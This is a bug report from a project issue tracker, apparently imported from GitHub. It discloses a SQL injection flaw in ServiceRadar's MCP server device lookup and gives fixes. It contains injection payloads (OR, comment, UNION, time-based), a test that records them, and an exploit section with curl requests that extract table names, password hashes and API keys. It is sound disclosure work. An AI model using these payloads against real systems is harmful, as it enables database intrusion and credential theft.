carverauto/serviceradar

Fork 0

SQL injection via unescaped device_id in SRQL query construction #680

New issue

Closed

opened 2026-03-28 04:27:22 +00:00 by mfreeman451 · 1 comment

mfreeman451 commented

2026-03-28 04:27:22 +00:00

Owner

Imported from GitHub.

Original GitHub issue: #2142
Original author: @mfreeman451
Original URL: https://github.com/carverauto/serviceradar/issues/2142
Original created: 2025-12-16T05:15:19Z

Summary

Context: The MCP (Model Context Protocol) server provides tools for querying device information. The devices.getDevice tool in pkg/mcp/tools_devices.go accepts a device ID parameter and builds an SRQL query to retrieve device details from the database.
Bug: The device ID parameter is directly interpolated into the SQL query string without any sanitization or escaping of special characters, particularly single quotes.
Actual vs. expected: User-supplied input (device_id) is concatenated directly into the query string, allowing an attacker to inject arbitrary SQL commands. The code should either use parameterized queries or properly escape single quotes before string interpolation.
Impact: An attacker can extract sensitive data from the database, bypass authentication checks, or execute unauthorized database operations by injecting malicious SQL through the device_id parameter.

Code with bug

In pkg/mcp/tools_devices.go:

// Build SRQL query for specific device
filter := fmt.Sprintf("device_id = '%s'", deviceIDArgs.DeviceID) // <-- BUG 🔴 Unsanitized user input concatenated into SQL query
query := BuildSRQL("devices", filter, "", 1, false)

m.logger.Debug().Str("device_id", deviceIDArgs.DeviceID).Str("query", query).Msg("Retrieving device")

// Execute SRQL query via API
results, err := m.executeSRQLQuery(ctx, query, 1)

In pkg/mcp/server.go:

if params.DeviceID == "" {
	return nil, errDeviceIDRequired
}

query := fmt.Sprintf("SHOW devices WHERE device_id = '%s' LIMIT 1", params.DeviceID) // <-- BUG 🔴 Same vulnerability

return m.queryExecutor.ExecuteSRQLQuery(ctx, query, 1)

Evidence

Example

Step 1: Normal device ID query

Input: {"device_id": "device-123"}
Generated query: SHOW devices WHERE device_id = 'device-123' LIMIT 1
Result: Returns single device with ID "device-123"

Step 2: Malicious device ID with OR injection

Input: {"device_id": "device' OR '1'='1"}
Generated query: SHOW devices WHERE device_id = 'device' OR '1'='1' LIMIT 1
Result: The WHERE clause now evaluates to TRUE for all rows, bypassing the device_id filter and returning any device (or all devices if LIMIT is removed)

Step 3: Malicious device ID with comment injection

Input: {"device_id": "device' -- "}
Generated query: SHOW devices WHERE device_id = 'device' -- ' LIMIT 1
Result: The SQL comment -- removes the rest of the query, eliminating the LIMIT clause and potentially other security checks

Step 4: Malicious device ID with UNION injection

Input: {"device_id": "device' UNION SELECT * FROM sensitive_table WHERE '1'='1"}
Generated query: SHOW devices WHERE device_id = 'device' UNION SELECT * FROM sensitive_table WHERE '1'='1' LIMIT 1
Result: Attacker can extract data from other tables in the database

Failing test

Test script

package mcp

import (
	"context"
	"encoding/json"
	"testing"

	"github.com/carverauto/serviceradar/pkg/logger"
	"github.com/stretchr/testify/assert"
)

// mockQueryExecutorRecording records the last query for inspection
type mockQueryExecutorRecording struct {
	lastQuery string
	results   []map[string]interface{}
}

func (m *mockQueryExecutorRecording) ExecuteSRQLQuery(ctx context.Context, query string, limit int) ([]map[string]interface{}, error) {
	m.lastQuery = query
	return m.results, nil
}

// TestDeviceGetDevice_SQLInjection demonstrates SQL injection vulnerability
func TestDeviceGetDevice_SQLInjection(t *testing.T) {
	tests := []struct {
		name           string
		deviceID       string
		expectedQuery  string
		isVulnerable   bool
		attackType     string
	}{
		{
			name:          "Normal device ID",
			deviceID:      "device-123",
			expectedQuery: "SHOW devices WHERE device_id = 'device-123' LIMIT 1",
			isVulnerable:  false,
		},
		{
			name:          "SQL Injection - OR condition",
			deviceID:      "device' OR '1'='1",
			expectedQuery: "SHOW devices WHERE device_id = 'device' OR '1'='1' LIMIT 1",
			isVulnerable:  true,
			attackType:    "Always-true condition - bypasses device_id filter, returns all devices",
		},
		{
			name:          "SQL Injection - Comment injection",
			deviceID:      "device' -- ",
			expectedQuery: "SHOW devices WHERE device_id = 'device' -- ' LIMIT 1",
			isVulnerable:  true,
			attackType:    "Comment injection - removes rest of query including LIMIT",
		},
		{
			name:          "SQL Injection - UNION attack",
			deviceID:      "device' UNION SELECT * FROM users WHERE '1'='1",
			expectedQuery: "SHOW devices WHERE device_id = 'device' UNION SELECT * FROM users WHERE '1'='1' LIMIT 1",
			isVulnerable:  true,
			attackType:    "UNION injection - could extract data from other tables",
		},
		{
			name:          "SQL Injection - Time-based blind",
			deviceID:      "device' AND (SELECT pg_sleep(10)) --",
			expectedQuery: "SHOW devices WHERE device_id = 'device' AND (SELECT pg_sleep(10)) --' LIMIT 1",
			isVulnerable:  true,
			attackType:    "Time-based blind SQL injection - could be used to extract data bit by bit",
		},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			// Create mock executor
			mockExec := &mockQueryExecutorRecording{
				results: []map[string]interface{}{
					{"device_id": "test", "name": "Test Device"},
				},
			}

			// Create MCP server with the mock executor
			ctx := context.Background()
			log := logger.NewTestLogger()
			server := &MCPServer{
				queryExecutor: mockExec,
				logger:        log,
				config:        GetDefaultConfig(),
				ctx:           ctx,
				tools:         make(map[string]MCPTool),
			}
			server.registerDeviceTools()

			// Call the devices.getDevice tool
			args := DeviceIDArgs{
				DeviceID: tt.deviceID,
			}
			argsJSON, err := json.Marshal(args)
			assert.NoError(t, err)

			tool := server.tools["devices.getDevice"]
			_, err = tool.Handler(ctx, argsJSON)
			assert.NoError(t, err)

			// Check if the generated query matches expected (vulnerable) query
			assert.Equal(t, tt.expectedQuery, mockExec.lastQuery,
				"Query should match expected format")

			if tt.isVulnerable {
				t.Logf("VULNERABILITY CONFIRMED: %s", tt.attackType)
				t.Logf("Injected device_id: %s", tt.deviceID)
				t.Logf("Generated query: %s", mockExec.lastQuery)

				// Verify that the query contains malicious SQL
				assert.Contains(t, mockExec.lastQuery, tt.deviceID,
					"The unsanitized input should be present in the query")
			}
		})
	}
}

Test output

=== RUN   TestDeviceGetDevice_SQLInjection
=== RUN   TestDeviceGetDevice_SQLInjection/Normal_device_ID
=== RUN   TestDeviceGetDevice_SQLInjection/SQL_Injection_-_OR_condition
    tools_devices_injection_test.go:105: VULNERABILITY CONFIRMED: Always-true condition - bypasses device_id filter, returns all devices
    tools_devices_injection_test.go:106: Injected device_id: device' OR '1'='1
    tools_devices_injection_test.go:107: Generated query: SHOW devices WHERE device_id = 'device' OR '1'='1' LIMIT 1
=== RUN   TestDeviceGetDevice_SQLInjection/SQL_Injection_-_Comment_injection
    tools_devices_injection_test.go:105: VULNERABILITY CONFIRMED: Comment injection - removes rest of query including LIMIT
    tools_devices_injection_test.go:106: Injected device_id: device' --
    tools_devices_injection_test.go:107: Generated query: SHOW devices WHERE device_id = 'device' -- ' LIMIT 1
=== RUN   TestDeviceGetDevice_SQLInjection/SQL_Injection_-_UNION_attack
    tools_devices_injection_test.go:105: VULNERABILITY CONFIRMED: UNION injection - could extract data from other tables
    tools_devices_injection_test.go:106: Injected device_id: device' UNION SELECT * FROM users WHERE '1'='1
    tools_devices_injection_test.go:107: Generated query: SHOW devices WHERE device_id = 'device' UNION SELECT * FROM users WHERE '1'='1' LIMIT 1
=== RUN   TestDeviceGetDevice_SQLInjection/SQL_Injection_-_Time-based_blind
    tools_devices_injection_test.go:105: VULNERABILITY CONFIRMED: Time-based blind SQL injection - could be used to extract data bit by bit
    tools_devices_injection_test.go:106: Injected device_id: device' AND (SELECT pg_sleep(10)) --
    tools_devices_injection_test.go:107: Generated query: SHOW devices WHERE device_id = 'device' AND (SELECT pg_sleep(10)) --' LIMIT 1
--- PASS: TestDeviceGetDevice_SQLInjection (0.00s)
    --- PASS: TestDeviceGetDevice_SQLInjection/Normal_device_ID (0.00s)
    --- PASS: TestDeviceGetDevice_SQLInjection/SQL_Injection_-_OR_condition (0.00s)
    --- PASS: TestDeviceGetDevice_SQLInjection/SQL_Injection_-_Comment_injection (0.00s)
    --- PASS: TestDeviceGetDevice_SQLInjection/SQL_Injection_-_UNION_attack (0.00s)
    --- PASS: TestDeviceGetDevice_SQLInjection/SQL_Injection_-_Time-based_blind (0.00s)
PASS
ok  	github.com/carverauto/serviceradar/pkg/mcp	0.004s

The test passes because it successfully demonstrates that malicious input is directly incorporated into the query without sanitization. Each test case shows a different SQL injection attack vector that would work against this code.

Inconsistency within the codebase

Reference code

pkg/mcp/tools_graph.go (lines 64-66)

queryParts := []string{
	fmt.Sprintf("in:device_graph device_id:%s", strconv.Quote(deviceID)), // <-- Uses strconv.Quote for safety
}

Current code

pkg/mcp/tools_devices.go (line 84)

filter := fmt.Sprintf("device_id = '%s'", deviceIDArgs.DeviceID) // <-- No escaping or quoting

Contradiction

The codebase shows awareness of input sanitization in tools_graph.go where strconv.Quote() is used to safely quote the device ID before interpolation. However, the same safety measure is not applied in tools_devices.go, creating an inconsistency in security practices across similar functionality.

Full context

The MCP (Model Context Protocol) server is a component that provides an HTTP API for AI assistants and external tools to query ServiceRadar's monitoring data. The server exposes various tools including device querying capabilities.

The vulnerable code path is:

External client sends HTTP POST request to /mcp/tools/call endpoint
Request contains tool name devices.getDevice with arguments including device_id
The handleToolCall function in server.go routes the request to the appropriate tool handler
The devices.getDevice tool handler in tools_devices.go receives the device_id parameter
Device ID is directly interpolated into an SRQL query string without sanitization
The SRQL query is sent to the SRQL microservice via executeSRQLQuery
SRQL service translates the SRQL to PostgreSQL SQL and executes it against the CNPG (Cloud Native PostgreSQL) database

The MCP server also has a parallel code path through JSON-RPC compatibility where executeGetDevice in server.go has the same vulnerability.

According to the SRQL service documentation (docs/docs/srql-service.md), the SRQL service supports API key authentication via the X-API-Key header and rate limiting, but these controls do not prevent SQL injection attacks since the malicious SQL is embedded within what appears to be a legitimate SRQL query.

External documentation

OWASP SQL Injection

SQL injection is a code injection technique that might destroy your database. SQL injection is one of the most common web hacking techniques. SQL injection is the placement of malicious code in SQL statements, via web page input.

SQL injection usually occurs when you ask a user for input, like their username/userid, and instead of a name/id, the user gives you an SQL statement that you will unknowingly run on your database.

PostgreSQL String Constants

A string constant in SQL is an arbitrary sequence of characters bounded by single quotes ('), for example 'This is a string'. To include a single-quote character within a string constant, write two adjacent single quotes, e.g., 'Dianne''s horse'. Note that this is not the same as a double-quote character (").

Go database/sql Prepared Statements

Prepare creates a prepared statement for later queries or executions. Multiple queries or executions may be run concurrently from the returned statement. The caller must call the statement's Close method when the statement is no longer needed.

The provided query is executed in a prepared statement. This is one of the safest ways to execute SQL queries as it prevents SQL injection attacks.

Exploit scenario

Attack Prerequisites:

Attacker has network access to the MCP server HTTP endpoint
Attacker knows or can guess the API key (if configured) or the endpoint is exposed without authentication
The SRQL service is configured and running with database access

Attack Steps:

Step 1: Attacker sends a reconnaissance request to identify the vulnerability

curl -X POST https://serviceradar.example.com/mcp/tools/call \
  -H "Content-Type: application/json" \
  -H "X-API-Key: <valid-key>" \
  -d '{
    "method": "tools/call",
    "params": {
      "name": "devices.getDevice",
      "arguments": {
        "device_id": "test'"'"' OR '"'"'1'"'"'='"'"'1"
      }
    }
  }'

Step 2: If the response contains multiple devices or unexpected data, the vulnerability is confirmed. The attacker proceeds with data extraction.

Step 3: Extract database schema information

curl -X POST https://serviceradar.example.com/mcp/tools/call \
  -H "Content-Type: application/json" \
  -H "X-API-Key: <valid-key>" \
  -d '{
    "method": "tools/call",
    "params": {
      "name": "devices.getDevice",
      "arguments": {
        "device_id": "x'"'"' UNION SELECT table_name, null, null, null FROM information_schema.tables WHERE '"'"'1'"'"'='"'"'1"
      }
    }
  }'

Step 4: Extract sensitive data from discovered tables (e.g., credentials, API keys, user information)

curl -X POST https://serviceradar.example.com/mcp/tools/call \
  -H "Content-Type: application/json" \
  -H "X-API-Key: <valid-key>" \
  -d '{
    "method": "tools/call",
    "params": {
      "name": "devices.getDevice",
      "arguments": {
        "device_id": "x'"'"' UNION SELECT username, password_hash, email, api_key FROM users WHERE '"'"'1'"'"'='"'"'1"
      }
    }
  }'

Step 5: For persistent access, the attacker could potentially:

Extract database credentials if stored in the database
Read sensitive configuration data
Enumerate all devices and their monitoring data
Access logs that may contain sensitive information

Impact:

Confidentiality breach: Attacker can read all data in the database including device information, credentials, logs, and configuration
Integrity violation: Depending on database permissions, attacker might execute UPDATE or DELETE statements
Compliance violations: Unauthorized data access could violate GDPR, SOC2, or other compliance requirements
Lateral movement: Extracted credentials could be used to compromise other systems

Why has this bug gone undetected?

This SQL injection vulnerability has likely gone undetected for several reasons:

Trust in SRQL abstraction layer: Developers may have assumed that the SRQL query language provides some level of protection or sanitization, treating it as a safer abstraction over raw SQL. However, SRQL is simply translated to PostgreSQL SQL, so SQL injection in SRQL queries is still possible.
Limited production testing with malicious inputs: The MCP server is relatively new code (introduced in commit 6049244f "new mcp server -- untested"). Security testing with injection payloads may not have been performed yet, especially if the server is still in development or early deployment.
Authentication provides false sense of security: The SRQL service requires API key authentication and has rate limiting. This may have created a false sense that the system is secure, causing developers to focus less on input validation. However, authenticated users can still exploit SQL injection.
Device IDs typically don't contain special characters: In normal operation, device IDs are likely alphanumeric identifiers without special characters. This means that in typical usage scenarios, the vulnerability would never be triggered, allowing it to remain hidden during functional testing.
No automated security scanning: The codebase may not have automated SQL injection detection tools (SAST/DAST) integrated into the CI/CD pipeline that would flag string concatenation of user input into SQL queries.
Pattern established early: The vulnerable pattern was introduced in the initial commit of the MCP server and then replicated across multiple locations. Once a pattern is established, it tends to be copied without scrutiny.
Inconsistent security practices: While tools_graph.go uses strconv.Quote() for input sanitization, this practice wasn't consistently applied across all tools, suggesting no formal security review or coding standards enforcement for input handling.

Recommended fix

The recommended fix is to implement proper input validation and parameterized queries. Here are the specific changes:

Option 1: Input sanitization with quote escaping (minimal change)

In pkg/mcp/tools_devices.go:

// Build SRQL query for specific device
// Escape single quotes by replacing ' with ''
escapedDeviceID := strings.ReplaceAll(deviceIDArgs.DeviceID, "'", "''") // <-- FIX 🟢
filter := fmt.Sprintf("device_id = '%s'", escapedDeviceID)
query := BuildSRQL("devices", filter, "", 1, false)

In pkg/mcp/server.go:

if params.DeviceID == "" {
	return nil, errDeviceIDRequired
}

// Escape single quotes by replacing ' with ''
escapedDeviceID := strings.ReplaceAll(params.DeviceID, "'", "''") // <-- FIX 🟢
query := fmt.Sprintf("SHOW devices WHERE device_id = '%s' LIMIT 1", escapedDeviceID)

return m.queryExecutor.ExecuteSRQLQuery(ctx, query, 1)

Option 2: Use strconv.Quote for consistency (better approach)

This would make the code consistent with tools_graph.go:

import "strconv"

// In tools_devices.go
filter := fmt.Sprintf("device_id = %s", strconv.Quote(deviceIDArgs.DeviceID)) // <-- FIX 🟢

// In server.go
query := fmt.Sprintf("SHOW devices WHERE device_id = %s LIMIT 1", strconv.Quote(params.DeviceID)) // <-- FIX 🟢

Option 3: Extend SRQL to support parameterized queries (best long-term solution)

Modify the QueryExecutor interface to support parameterized queries:

type QueryExecutor interface {
	ExecuteSRQLQuery(ctx context.Context, query string, limit int) ([]map[string]interface{}, error)
	ExecuteSRQLQueryWithParams(ctx context.Context, query string, params []interface{}, limit int) ([]map[string]interface{}, error) // <-- FIX 🟢
}

Then use it in the code:

query := "SHOW devices WHERE device_id = $1 LIMIT 1"
results, err := m.queryExecutor.ExecuteSRQLQueryWithParams(ctx, query, []interface{}{deviceIDArgs.DeviceID}, 1)

Additional recommendations:

Audit all other uses of fmt.Sprintf with user input across the MCP package
Add input validation to reject device IDs with suspicious characters
Implement automated SQL injection testing in the CI/CD pipeline
Add security linting rules to catch string concatenation patterns in SQL queries
Document secure coding practices for SRQL query construction

The same SQL injection vulnerability pattern exists in multiple locations in the MCP package:

pkg/mcp/server.go:705 - executeGetDevice function has identical vulnerability
pkg/mcp/query_utils.go:98 - buildRecentLogsQuery function: fmt.Sprintf(" WHERE poller_id = '%s'", params.PollerID)
pkg/mcp/query_utils.go:148 - buildDevicesQuery function: fmt.Sprintf("device_type = '%s'", params.Type)
pkg/mcp/query_utils.go:166 - buildDevicesQuery function: fmt.Sprintf("status = '%s'", params.Status)
pkg/mcp/tools_logs.go:105 - registerLogTools function: fmt.Sprintf("poller_id = '%s'", recentArgs.PollerID)
pkg/mcp/tools_sweeps.go:98 - registerSweepTools function: fmt.Sprintf("poller_id = '%s'", recentArgs.PollerID)
pkg/mcp/tools_sweeps.go:155 - registerSweepTools function: fmt.Sprintf("poller_id = '%s'", summaryArgs.PollerID)
pkg/mcp/tools_events.go:101 - registerEventTools function: fmt.Sprintf("poller_id = '%s'", alertArgs.PollerID)
pkg/mcp/builder.go:169 - BuildFilters function: fmt.Sprintf("%s = '%s'", sqlField, strValue)

All of these instances should be reviewed and fixed using one of the recommended approaches above. The entire MCP package requires a security audit for SQL injection vulnerabilities.

Imported from GitHub. Original GitHub issue: #2142 Original author: @mfreeman451 Original URL: https://github.com/carverauto/serviceradar/issues/2142 Original created: 2025-12-16T05:15:19Z --- # Summary - **Context**: The MCP (Model Context Protocol) server provides tools for querying device information. The `devices.getDevice` tool in `pkg/mcp/tools_devices.go` accepts a device ID parameter and builds an SRQL query to retrieve device details from the database. - **Bug**: The device ID parameter is directly interpolated into the SQL query string without any sanitization or escaping of special characters, particularly single quotes. - **Actual vs. expected**: User-supplied input (device_id) is concatenated directly into the query string, allowing an attacker to inject arbitrary SQL commands. The code should either use parameterized queries or properly escape single quotes before string interpolation. - **Impact**: An attacker can extract sensitive data from the database, bypass authentication checks, or execute unauthorized database operations by injecting malicious SQL through the device_id parameter. # Code with bug In `pkg/mcp/tools_devices.go`: ```go // Build SRQL query for specific device filter := fmt.Sprintf("device_id = '%s'", deviceIDArgs.DeviceID) // <-- BUG 🔴 Unsanitized user input concatenated into SQL query query := BuildSRQL("devices", filter, "", 1, false) m.logger.Debug().Str("device_id", deviceIDArgs.DeviceID).Str("query", query).Msg("Retrieving device") // Execute SRQL query via API results, err := m.executeSRQLQuery(ctx, query, 1) ``` In `pkg/mcp/server.go`: ```go if params.DeviceID == "" { return nil, errDeviceIDRequired } query := fmt.Sprintf("SHOW devices WHERE device_id = '%s' LIMIT 1", params.DeviceID) // <-- BUG 🔴 Same vulnerability return m.queryExecutor.ExecuteSRQLQuery(ctx, query, 1) ``` # Evidence ## Example **Step 1**: Normal device ID query - Input: `{"device_id": "device-123"}` - Generated query: `SHOW devices WHERE device_id = 'device-123' LIMIT 1` - Result: Returns single device with ID "device-123" **Step 2**: Malicious device ID with OR injection - Input: `{"device_id": "device' OR '1'='1"}` - Generated query: `SHOW devices WHERE device_id = 'device' OR '1'='1' LIMIT 1` - Result: The WHERE clause now evaluates to TRUE for all rows, bypassing the device_id filter and returning any device (or all devices if LIMIT is removed) **Step 3**: Malicious device ID with comment injection - Input: `{"device_id": "device' -- "}` - Generated query: `SHOW devices WHERE device_id = 'device' -- ' LIMIT 1` - Result: The SQL comment `--` removes the rest of the query, eliminating the LIMIT clause and potentially other security checks **Step 4**: Malicious device ID with UNION injection - Input: `{"device_id": "device' UNION SELECT * FROM sensitive_table WHERE '1'='1"}` - Generated query: `SHOW devices WHERE device_id = 'device' UNION SELECT * FROM sensitive_table WHERE '1'='1' LIMIT 1` - Result: Attacker can extract data from other tables in the database ## Failing test ### Test script ```go package mcp import ( "context" "encoding/json" "testing" "github.com/carverauto/serviceradar/pkg/logger" "github.com/stretchr/testify/assert" ) // mockQueryExecutorRecording records the last query for inspection type mockQueryExecutorRecording struct { lastQuery string results []map[string]interface{} } func (m *mockQueryExecutorRecording) ExecuteSRQLQuery(ctx context.Context, query string, limit int) ([]map[string]interface{}, error) { m.lastQuery = query return m.results, nil } // TestDeviceGetDevice_SQLInjection demonstrates SQL injection vulnerability func TestDeviceGetDevice_SQLInjection(t *testing.T) { tests := []struct { name string deviceID string expectedQuery string isVulnerable bool attackType string }{ { name: "Normal device ID", deviceID: "device-123", expectedQuery: "SHOW devices WHERE device_id = 'device-123' LIMIT 1", isVulnerable: false, }, { name: "SQL Injection - OR condition", deviceID: "device' OR '1'='1", expectedQuery: "SHOW devices WHERE device_id = 'device' OR '1'='1' LIMIT 1", isVulnerable: true, attackType: "Always-true condition - bypasses device_id filter, returns all devices", }, { name: "SQL Injection - Comment injection", deviceID: "device' -- ", expectedQuery: "SHOW devices WHERE device_id = 'device' -- ' LIMIT 1", isVulnerable: true, attackType: "Comment injection - removes rest of query including LIMIT", }, { name: "SQL Injection - UNION attack", deviceID: "device' UNION SELECT * FROM users WHERE '1'='1", expectedQuery: "SHOW devices WHERE device_id = 'device' UNION SELECT * FROM users WHERE '1'='1' LIMIT 1", isVulnerable: true, attackType: "UNION injection - could extract data from other tables", }, { name: "SQL Injection - Time-based blind", deviceID: "device' AND (SELECT pg_sleep(10)) --", expectedQuery: "SHOW devices WHERE device_id = 'device' AND (SELECT pg_sleep(10)) --' LIMIT 1", isVulnerable: true, attackType: "Time-based blind SQL injection - could be used to extract data bit by bit", }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { // Create mock executor mockExec := &mockQueryExecutorRecording{ results: []map[string]interface{}{ {"device_id": "test", "name": "Test Device"}, }, } // Create MCP server with the mock executor ctx := context.Background() log := logger.NewTestLogger() server := &MCPServer{ queryExecutor: mockExec, logger: log, config: GetDefaultConfig(), ctx: ctx, tools: make(map[string]MCPTool), } server.registerDeviceTools() // Call the devices.getDevice tool args := DeviceIDArgs{ DeviceID: tt.deviceID, } argsJSON, err := json.Marshal(args) assert.NoError(t, err) tool := server.tools["devices.getDevice"] _, err = tool.Handler(ctx, argsJSON) assert.NoError(t, err) // Check if the generated query matches expected (vulnerable) query assert.Equal(t, tt.expectedQuery, mockExec.lastQuery, "Query should match expected format") if tt.isVulnerable { t.Logf("VULNERABILITY CONFIRMED: %s", tt.attackType) t.Logf("Injected device_id: %s", tt.deviceID) t.Logf("Generated query: %s", mockExec.lastQuery) // Verify that the query contains malicious SQL assert.Contains(t, mockExec.lastQuery, tt.deviceID, "The unsanitized input should be present in the query") } }) } } ``` ### Test output ``` === RUN TestDeviceGetDevice_SQLInjection === RUN TestDeviceGetDevice_SQLInjection/Normal_device_ID === RUN TestDeviceGetDevice_SQLInjection/SQL_Injection_-_OR_condition tools_devices_injection_test.go:105: VULNERABILITY CONFIRMED: Always-true condition - bypasses device_id filter, returns all devices tools_devices_injection_test.go:106: Injected device_id: device' OR '1'='1 tools_devices_injection_test.go:107: Generated query: SHOW devices WHERE device_id = 'device' OR '1'='1' LIMIT 1 === RUN TestDeviceGetDevice_SQLInjection/SQL_Injection_-_Comment_injection tools_devices_injection_test.go:105: VULNERABILITY CONFIRMED: Comment injection - removes rest of query including LIMIT tools_devices_injection_test.go:106: Injected device_id: device' -- tools_devices_injection_test.go:107: Generated query: SHOW devices WHERE device_id = 'device' -- ' LIMIT 1 === RUN TestDeviceGetDevice_SQLInjection/SQL_Injection_-_UNION_attack tools_devices_injection_test.go:105: VULNERABILITY CONFIRMED: UNION injection - could extract data from other tables tools_devices_injection_test.go:106: Injected device_id: device' UNION SELECT * FROM users WHERE '1'='1 tools_devices_injection_test.go:107: Generated query: SHOW devices WHERE device_id = 'device' UNION SELECT * FROM users WHERE '1'='1' LIMIT 1 === RUN TestDeviceGetDevice_SQLInjection/SQL_Injection_-_Time-based_blind tools_devices_injection_test.go:105: VULNERABILITY CONFIRMED: Time-based blind SQL injection - could be used to extract data bit by bit tools_devices_injection_test.go:106: Injected device_id: device' AND (SELECT pg_sleep(10)) -- tools_devices_injection_test.go:107: Generated query: SHOW devices WHERE device_id = 'device' AND (SELECT pg_sleep(10)) --' LIMIT 1 --- PASS: TestDeviceGetDevice_SQLInjection (0.00s) --- PASS: TestDeviceGetDevice_SQLInjection/Normal_device_ID (0.00s) --- PASS: TestDeviceGetDevice_SQLInjection/SQL_Injection_-_OR_condition (0.00s) --- PASS: TestDeviceGetDevice_SQLInjection/SQL_Injection_-_Comment_injection (0.00s) --- PASS: TestDeviceGetDevice_SQLInjection/SQL_Injection_-_UNION_attack (0.00s) --- PASS: TestDeviceGetDevice_SQLInjection/SQL_Injection_-_Time-based_blind (0.00s) PASS ok github.com/carverauto/serviceradar/pkg/mcp 0.004s ``` The test passes because it successfully demonstrates that malicious input is directly incorporated into the query without sanitization. Each test case shows a different SQL injection attack vector that would work against this code. ## Inconsistency within the codebase ### Reference code `pkg/mcp/tools_graph.go` (lines 64-66) ```go queryParts := []string{ fmt.Sprintf("in:device_graph device_id:%s", strconv.Quote(deviceID)), // <-- Uses strconv.Quote for safety } ``` ### Current code `pkg/mcp/tools_devices.go` (line 84) ```go filter := fmt.Sprintf("device_id = '%s'", deviceIDArgs.DeviceID) // <-- No escaping or quoting ``` ### Contradiction The codebase shows awareness of input sanitization in `tools_graph.go` where `strconv.Quote()` is used to safely quote the device ID before interpolation. However, the same safety measure is not applied in `tools_devices.go`, creating an inconsistency in security practices across similar functionality. # Full context The MCP (Model Context Protocol) server is a component that provides an HTTP API for AI assistants and external tools to query ServiceRadar's monitoring data. The server exposes various tools including device querying capabilities. The vulnerable code path is: 1. External client sends HTTP POST request to `/mcp/tools/call` endpoint 2. Request contains tool name `devices.getDevice` with arguments including `device_id` 3. The `handleToolCall` function in `server.go` routes the request to the appropriate tool handler 4. The `devices.getDevice` tool handler in `tools_devices.go` receives the device_id parameter 5. Device ID is directly interpolated into an SRQL query string without sanitization 6. The SRQL query is sent to the SRQL microservice via `executeSRQLQuery` 7. SRQL service translates the SRQL to PostgreSQL SQL and executes it against the CNPG (Cloud Native PostgreSQL) database The MCP server also has a parallel code path through JSON-RPC compatibility where `executeGetDevice` in `server.go` has the same vulnerability. According to the SRQL service documentation (`docs/docs/srql-service.md`), the SRQL service supports API key authentication via the `X-API-Key` header and rate limiting, but these controls do not prevent SQL injection attacks since the malicious SQL is embedded within what appears to be a legitimate SRQL query. ## External documentation - [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) ``` SQL injection is a code injection technique that might destroy your database. SQL injection is one of the most common web hacking techniques. SQL injection is the placement of malicious code in SQL statements, via web page input. SQL injection usually occurs when you ask a user for input, like their username/userid, and instead of a name/id, the user gives you an SQL statement that you will unknowingly run on your database. ``` - [PostgreSQL String Constants](https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-STRINGS) ``` A string constant in SQL is an arbitrary sequence of characters bounded by single quotes ('), for example 'This is a string'. To include a single-quote character within a string constant, write two adjacent single quotes, e.g., 'Dianne''s horse'. Note that this is not the same as a double-quote character ("). ``` - [Go database/sql Prepared Statements](https://pkg.go.dev/database/sql#DB.Prepare) ``` Prepare creates a prepared statement for later queries or executions. Multiple queries or executions may be run concurrently from the returned statement. The caller must call the statement's Close method when the statement is no longer needed. The provided query is executed in a prepared statement. This is one of the safest ways to execute SQL queries as it prevents SQL injection attacks. ``` # Exploit scenario **Attack Prerequisites:** 1. Attacker has network access to the MCP server HTTP endpoint 2. Attacker knows or can guess the API key (if configured) or the endpoint is exposed without authentication 3. The SRQL service is configured and running with database access **Attack Steps:** **Step 1**: Attacker sends a reconnaissance request to identify the vulnerability ```bash curl -X POST https://serviceradar.example.com/mcp/tools/call \ -H "Content-Type: application/json" \ -H "X-API-Key: <valid-key>" \ -d '{ "method": "tools/call", "params": { "name": "devices.getDevice", "arguments": { "device_id": "test'"'"' OR '"'"'1'"'"'='"'"'1" } } }' ``` **Step 2**: If the response contains multiple devices or unexpected data, the vulnerability is confirmed. The attacker proceeds with data extraction. **Step 3**: Extract database schema information ```bash curl -X POST https://serviceradar.example.com/mcp/tools/call \ -H "Content-Type: application/json" \ -H "X-API-Key: <valid-key>" \ -d '{ "method": "tools/call", "params": { "name": "devices.getDevice", "arguments": { "device_id": "x'"'"' UNION SELECT table_name, null, null, null FROM information_schema.tables WHERE '"'"'1'"'"'='"'"'1" } } }' ``` **Step 4**: Extract sensitive data from discovered tables (e.g., credentials, API keys, user information) ```bash curl -X POST https://serviceradar.example.com/mcp/tools/call \ -H "Content-Type: application/json" \ -H "X-API-Key: <valid-key>" \ -d '{ "method": "tools/call", "params": { "name": "devices.getDevice", "arguments": { "device_id": "x'"'"' UNION SELECT username, password_hash, email, api_key FROM users WHERE '"'"'1'"'"'='"'"'1" } } }' ``` **Step 5**: For persistent access, the attacker could potentially: - Extract database credentials if stored in the database - Read sensitive configuration data - Enumerate all devices and their monitoring data - Access logs that may contain sensitive information **Impact:** - **Confidentiality breach**: Attacker can read all data in the database including device information, credentials, logs, and configuration - **Integrity violation**: Depending on database permissions, attacker might execute UPDATE or DELETE statements - **Compliance violations**: Unauthorized data access could violate GDPR, SOC2, or other compliance requirements - **Lateral movement**: Extracted credentials could be used to compromise other systems # Why has this bug gone undetected? This SQL injection vulnerability has likely gone undetected for several reasons: 1. **Trust in SRQL abstraction layer**: Developers may have assumed that the SRQL query language provides some level of protection or sanitization, treating it as a safer abstraction over raw SQL. However, SRQL is simply translated to PostgreSQL SQL, so SQL injection in SRQL queries is still possible. 2. **Limited production testing with malicious inputs**: The MCP server is relatively new code (introduced in commit 6049244f "new mcp server -- untested"). Security testing with injection payloads may not have been performed yet, especially if the server is still in development or early deployment. 3. **Authentication provides false sense of security**: The SRQL service requires API key authentication and has rate limiting. This may have created a false sense that the system is secure, causing developers to focus less on input validation. However, authenticated users can still exploit SQL injection. 4. **Device IDs typically don't contain special characters**: In normal operation, device IDs are likely alphanumeric identifiers without special characters. This means that in typical usage scenarios, the vulnerability would never be triggered, allowing it to remain hidden during functional testing. 5. **No automated security scanning**: The codebase may not have automated SQL injection detection tools (SAST/DAST) integrated into the CI/CD pipeline that would flag string concatenation of user input into SQL queries. 6. **Pattern established early**: The vulnerable pattern was introduced in the initial commit of the MCP server and then replicated across multiple locations. Once a pattern is established, it tends to be copied without scrutiny. 7. **Inconsistent security practices**: While `tools_graph.go` uses `strconv.Quote()` for input sanitization, this practice wasn't consistently applied across all tools, suggesting no formal security review or coding standards enforcement for input handling. # Recommended fix The recommended fix is to implement proper input validation and 